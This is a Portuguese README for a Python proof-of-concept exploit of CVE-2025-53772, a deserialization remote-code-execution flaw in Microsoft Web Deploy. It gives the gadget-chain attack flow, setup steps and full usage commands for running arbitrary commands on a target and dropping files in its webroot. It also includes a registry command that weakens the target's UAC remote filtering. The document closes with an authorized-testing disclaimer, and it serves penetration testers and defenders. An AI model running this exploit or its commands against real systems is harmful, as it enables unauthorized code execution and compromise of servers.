
poc for cve-2025-53772
Um exploit baseado em Python para CVE-2025-53772, uma vulnerabilidade de execução remota de código no Microsoft Web Deploy (msdeploy) causada por desserialização insegura de dados de cabeçalho HTTP.

| Propriedade | Valor |
|---|---|
| ID CVE | CVE-2025-53772 |
| Pontuação CVSS | 8.8 (Alta) |
| Produto Afetado | Microsoft Web Deploy 4.0 |
| Versões Vulneráveis | < 10.0.2001 |
| Versão Corrigida | 10.0.2001+ |
| Tipo de Vulnerabilidade | Desserialização de Dados não Confiáveis (CWE-502) |
| Autenticação | Necessária (Privilégio Baixo) |
A vulnerabilidade existe na desserialização do cabeçalho HTTP MSDeploy.SyncOptions. Quando um payload especialmente criado é enviado, o servidor o desserializa usando BinaryFormatter, desencadeando a execução de código arbitrário através da cadeia de gadgets TypeConfuseDelegate.
Attacker Target Server
│ │
│ POST /MSDEPLOYAGENTSERVICE HTTP/1.1 │
│ MSDeploy.SyncOptions: <malicious_payload> │
│─────────────────────────────────────────────>│
│ │
│ BinaryFormatter.Deserialize()
│ │
│ ▼
│ Process.Start("cmd.exe", "/c ...")
│ │
│ ▼
│ RCE Achieved!
| Endpoint | Porta | Protocolo | Tipo de Autenticação |
|---|---|---|---|
/MSDEPLOYAGENTSERVICE | 80 | HTTP | NTLM |
/msdeploy.axd | 8172 | HTTPS | Basic |
git clone https://github.com/sailay1996/CVE-2025-53772.git
cd CVE-2025-53772
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
requests-ntlm>=1.2.0
# Create proof file in C:\Windows\Temp\pwned.txt
python3 CVE-2025-53772.py -t <TARGET_IP> -u "<DOMAIN\username>" -P "<password>" --ntlm --proof-temp
-t, --target IP ou hostname do alvo (obrigatório)
-u, --user Nome de usuário (obrigatório)
-P, --password Senha (obrigatório)
--port Porta do alvo (padrão: 80)
--endpoint Caminho do endpoint (padrão: /MSDEPLOYAGENTSERVICE)
--ntlm Usar autenticação NTLM (necessário para o Agent Service)
--calc Executar calc.exe
--proof-temp Criar C:\Windows\Temp\pwned.txt
--proof-web Criar C:\inetpub\wwwroot\pwned.txt
-c, --command Comando personalizado para executar
--generate-only Apenas gerar payload, não enviar
-o, --output Salvar payload em arquivo
# Pop calculator
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\Administrator" -P "P@ssw0rd" --ntlm --calc
# Create proof file in temp folder
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\webdeploy" -P "Password123" --ntlm --proof-temp
# Create proof file in webroot (verify via browser)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm --proof-web
# Execute custom command
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm -c "whoami > C:\Windows\Temp\whoami.txt"
# Generate payload only (don't send)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "test" -P "test" --generate-only --proof-temp -o payload.txt
# Using msdeploy.axd endpoint (no --ntlm flag)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "webdeploy" -P "Password123" --port 8172 --endpoint "/msdeploy.axd" --proof-temp
Após executar o exploit, verifique a execução no alvo:
# Check for proof file
type C:\Windows\Temp\pwned.txt
# Or via browser (if --proof-web was used)
# Navigate to: http://<TARGET>/pwned.txt
Se estiver usando o Agent Service com NTLM e recebendo 401:
# On target, disable UAC remote filtering:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
O manipulador IIS pode não estar registrado. Use o endpoint do Agent Service em vez disso:
--port 80 --endpoint "/MSDEPLOYAGENTSERVICE"
# Check installed version
(Get-Command msdeploy.exe).FileVersionInfo.FileVersion
# Vulnerable if < 10.0.2001
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha a devida autorização antes de testar.
Licença MIT